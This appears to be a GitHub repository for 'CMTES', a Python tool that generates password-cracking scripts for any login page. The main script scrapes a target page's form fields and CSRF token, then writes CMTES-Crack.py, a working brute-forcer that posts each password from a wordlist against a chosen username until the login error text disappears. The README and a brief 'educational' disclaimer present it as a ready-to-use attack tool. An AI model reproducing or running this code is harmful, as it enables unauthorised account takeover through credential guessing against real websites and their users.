├── screen ├── s.txt ├── 20230902_003929.jpg ├── 20230902_003943.jpg ├── Polish_۲۰۲۳۰۹۰۲_۰۰۵۰۲۲۲۳۰.jpg ├── Polish_۲۰۲۳۰۹۰۲_۰۰۵۸۰۴۰۱۹.jpg ├── Screenshot_20230901-220256_Chrome.jpg └── Screenshot_20230901-221935_Chrome.jpg ├── README.md └── CMTES.py /screen/s.txt: -------------------------------------------------------------------------------- 1 | i 2 | -------------------------------------------------------------------------------- /screen/20230902_003929.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/20230902_003929.jpg -------------------------------------------------------------------------------- /screen/20230902_003943.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/20230902_003943.jpg -------------------------------------------------------------------------------- /screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۰۲۲۲۳۰.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۰۲۲۲۳۰.jpg -------------------------------------------------------------------------------- /screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۸۰۴۰۱۹.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Polish_۲۰۲۳۰۹۰۲_۰۰۵۸۰۴۰۱۹.jpg -------------------------------------------------------------------------------- /screen/Screenshot_20230901-220256_Chrome.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Screenshot_20230901-220256_Chrome.jpg -------------------------------------------------------------------------------- /screen/Screenshot_20230901-221935_Chrome.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esfelurm/CMTES/HEAD/screen/Screenshot_20230901-221935_Chrome.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | [![Typing SVG](https://readme-typing-svg.herokuapp.com?font=Fira+Code&weight=600&size=31&duration=4500&pause=1000&color=blue&multiline=true&width=453&height=100&lines=Cracker+Maker+Tool+;ESFELURM)](https://git.io/typing-svg) 5 | 6 | ## Warning 👇🏻 7 | 8 | 9 | 10 | ##### With this tool, you can write a cracker for each login page + cracker development 11 | 12 | 13 | ## Capabilities : 14 | 15 | 16 | 17 | - Find the tags used in the login page + number of usage 18 | 19 | - Find all site Variables 20 | 21 | - Finding site IDs and Variables 22 | 23 | - Finding suspicious Variables to make crackers 👇🏻 24 | 25 | 26 | 27 | ## Note : 28 | 29 | * `After making the crack tool, you can upgrade and customize it` 30 | 31 | * `I made it so that you can see all the labels so that you can determine for yourself how to make the cracker` 32 | 33 | ## Support : 34 | 35 | - Linux 36 | - Windows `There is a problem on Iranian sites` 37 | - Termux 38 | 39 | ## Installation 40 | 41 | ``` 42 | git clone https://github.com/esfelurm/CMTES 43 | cd CMTES 44 | python CMTES.py 45 | ``` 46 | 47 | ## Guide 48 | 49 |

When you give the page address First, the tags used in the source + number of consumption is showing

50 | 51 |

In the next value Used and Variables & ID displays

52 | 53 |

In the last amount It displays suspicious and necessary Variables for entry

54 | 55 | My Email 56 | 57 | My Channel 58 | -------------------------------------------------------------------------------- /CMTES.py: -------------------------------------------------------------------------------- 1 | from time import sleep 2 | from sys import stdout,stdin 3 | 4 | rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m' 5 | cn, k,g = '\033[00;36m', '\033[90m','\033[38;5;130m' 6 | 7 | def animate_write(text, color, duration): 8 | for char in text: 9 | stdout.write(color + char) 10 | stdout.flush() 11 | sleep(duration) 12 | 13 | try: 14 | from requests import get 15 | except: 16 | animate_write(f'"{lrd}[{rd}-{lrd}] {rd}Request" module is not installed, please install it with the command below 👇🏻\n\npip install requests', rd, 0.1) 17 | from bs4 import BeautifulSoup 18 | from platform import uname 19 | from os import system 20 | 21 | def animate_erase(text, color, duration): 22 | for _ in text: 23 | stdout.write('\b \b') 24 | stdout.flush() 25 | sleep(duration) 26 | 27 | def clear(): 28 | if 'Windows' in uname(): 29 | try:from colorama import init 30 | except:system("pip install colorama") 31 | system("cls") 32 | elif 'Windows' not in uname(): 33 | system("clear") 34 | 35 | clear() 36 | try: 37 | def rotate_slash(): 38 | for i in range(0,10): 39 | stdout.write('\r/ Finding variables') 40 | sleep(0.1) 41 | stdout.flush() 42 | stdout.write('\r- Finding variables') 43 | sleep(0.1) 44 | stdout.flush() 45 | stdout.write('\r\\ Finding variables') 46 | sleep(0.1) 47 | stdout.flush() 48 | stdout.write('\r| Finding variables') 49 | sleep(0.1) 50 | stdout.flush() 51 | except: 52 | pass 53 | animate_write(""" .__ 54 | __ _ _______ _______ ____ |__| ____ ____ 55 | \ \/ \/ /\__ \ \_ __ \ / \ | | / \ / ___\ 56 | \ / / __ \_ | | \/| | \| || | \ / /_/ > 57 | \/\_/ (____ / |__| |___| /|__||___| / \___ / 58 | \/ \/ \/ /_____/ 59 | ! Warning ! 60 | 61 | """, lrd, 0.01) 62 | animate_write("[!] Any crime committed using this tool is the responsibility of the person himself!\n\n[!] This tool is educational, so please do not violate\n\n",yw,0.05) 63 | sleep(0.5) 64 | animate_write("My Channel Telegram : @esfelurm",lgn,0.08) 65 | sleep(0.5) 66 | animate_erase("My Channel Telegram : @esfelurm",lgn,0.05) 67 | animate_write("My Github : https://github.com/esfelurm",lgn,0.08) 68 | sleep(0.5) 69 | animate_erase("My Github : https://github.com/esfelurm",lgn,0.05) 70 | animate_write("Version CMTES : 0.0.1 => (free)",lgn,0.05) 71 | sleep(0.5) 72 | animate_erase("Version CMTES : 0.0.1 => (free)",lgn,0.05) 73 | sleep(3) 74 | clear() 75 | 76 | 77 | url = input(f"""{k} 78 | _ .-') .-') _ ('-. .-') 79 | ( '.( OO )_ ( OO) ) _( OO) ( OO ). 80 | .-----. ,--. ,--.)/ '._ (,------. (_)---\_) 81 | ' .--./ | `.' | |'--...__) | .---' / _ | 82 | | |('-. | | '--. .--' | | \ :` `. 83 | /_) |OO ) | |'.'| | | | (| '--. '..`''.) 84 | || |`-'| | | | | | | | .--' .-._) \ 85 | (_' '--'\ | | | | | | | `---. \ / 86 | `-----' `--' `--' `--' `------' `-----' 87 | \n\n 88 | {cn}Version : 0.0.1\n 89 | {gn}Channel Telegram : {lgn}@Esfelurm {lrd}< {yw}|||| {lrd}> {lgn}Github : {lgn}https://github.com/esfelurm\n\n 90 | {lrd}[{lgn}?{lrd}] {gn}Enter the address of the login page : {cn}""") 91 | 92 | try: 93 | print (f'{yw}') 94 | rotate_slash() 95 | except KeyboardInterrupt: 96 | pass 97 | clear() 98 | animate_write(""" 99 | .----. .-. .-. .-----. .----. .----. 100 | | }`-' } \/ { `-' '-' } |__} { {__-` 101 | | },-. | { } | } { } '__} .-._} } 102 | `----' `-' `-' `-' `----' `----' 103 | """,pe,0.01) 104 | content = get(url) 105 | soup = BeautifulSoup(content.text, "html.parser") 106 | tag_counts = {} 107 | tags = soup.find_all() 108 | for tag in tags: 109 | tag_name = tag.name 110 | if tag_name in tag_counts: 111 | tag_counts[tag_name] += 1 112 | else: 113 | tag_counts[tag_name] = 1 114 | 115 | soup2 = BeautifulSoup(content.content, "html.parser") 116 | name_elements = soup2.find_all(attrs={"name": True}) 117 | id_elements = soup2.find_all(attrs={"id": True}) 118 | input_tags = soup.find_all("input") 119 | print (f"\n\n{pe}+++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n\n{gn} \n{yw}=================================================\n{gn}List Tags Html in source :\n\n") 120 | for tag_name, count in tag_counts.items(): 121 | print(f" {lrd}[{yw}={lrd}] {g}Tag name : {k}{tag_name} {lgn}==> {g}Number of consumption : {k}{count}") 122 | print (f'{yw}=================================================') 123 | print (f"\n{gn}List Variables in source Html : \n\n") 124 | for element in name_elements: 125 | print(f' {lrd}[{gn}%{lrd}] {gn}Variable Name : {k}{element["name"]}') 126 | print (f'{yw}=================================================') 127 | print (f"\n{gn}List Variables ID in source Html : \n\n") 128 | for element in id_elements: 129 | print(f' {lrd}[{gn}~{lrd}] {g}variable ID : {k}{element["id"]}') 130 | print (f'{yw}=================================================') 131 | 132 | print (f"\n{gn}List Variables , from Login to account : \n\n") 133 | for input_tag in input_tags: 134 | print(f"\n {lrd}[{lgn}+{lrd}] {lgn}Variable name : {cn}{input_tag.get('name')}") 135 | try: 136 | print (f" {lrd}[{lgn}+{lrd}] {lgn}Variable content : {cn}{input_tag.get('value')}") 137 | print (f" {lrd}[{lgn}+{lrd}] {lgn}Code : {cn}{input_tag}") 138 | except: 139 | print (f"{lrd}[{rd}-{lrd}] {rd}Variable content : {lrd}None") 140 | 141 | VUsername = input(f"\n{yw}=================================================\n\n{pe}+++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n{lrd}[{lgn}?{lrd}] {gn}Enter the variable that takes the value of the user : {yw}") 142 | VPassword = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Enter the variable that takes the password : {yw}") 143 | token = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Enter the variable that creates the token : {yw}") 144 | sub = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Submit the variable that hits submit : {yw}") 145 | sub2 = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Enter the text that is set for submit :{yw} ") 146 | Error = input(f"\n{lrd}[{lgn}?{lrd}] {gn}Please enter the wrong password on the login page, copy the error text and give it to me : {yw}") 147 | animate_write("[+] Making a cracker tool for you ...",lgn,0.05) 148 | with open("CMTES-Crack.py",'w') as file: 149 | file.write(f"""#The author of this program on Telegram channel : @esfelurm 150 | from bs4 import BeautifulSoup 151 | from requests import post,get 152 | 153 | passwd = input("Password List File : ") 154 | user = input("Target Username : ") 155 | 156 | info = BeautifulSoup(get('{url}').text, 'html.parser') 157 | token = info.find("input",{{"name":'{token}'}})['value'] 158 | for password in open(passwd,'r').read().split(): 159 | payload = {{'{token}':token,'{VUsername}':user,'{VPassword}':password}} 160 | req = post('{url}',data=payload).text 161 | 162 | if '{Error}' not in req: 163 | print (f"\033[01;32mTrue ! \033[01;33mPassword : \033[01;32m", password) 164 | exit() 165 | 166 | if '{Error}' in req: 167 | print (f"\033[01;31mFalse ! password : \033[01;31m",password) 168 | 169 | """) 170 | animate_erase("[+] Making a cracker tool for you ...",lgn,0.05) 171 | sleep(1) 172 | animate_write("[+] The construction is completed ! file : CMTES-Crack.py\n\nbe successful and victorious ! \nChannel : @Esfelurm",lgn,0.05) 173 | 174 | 175 | #END V 0.0.1 < ||| > @ESFElurm --------------------------------------------------------------------------------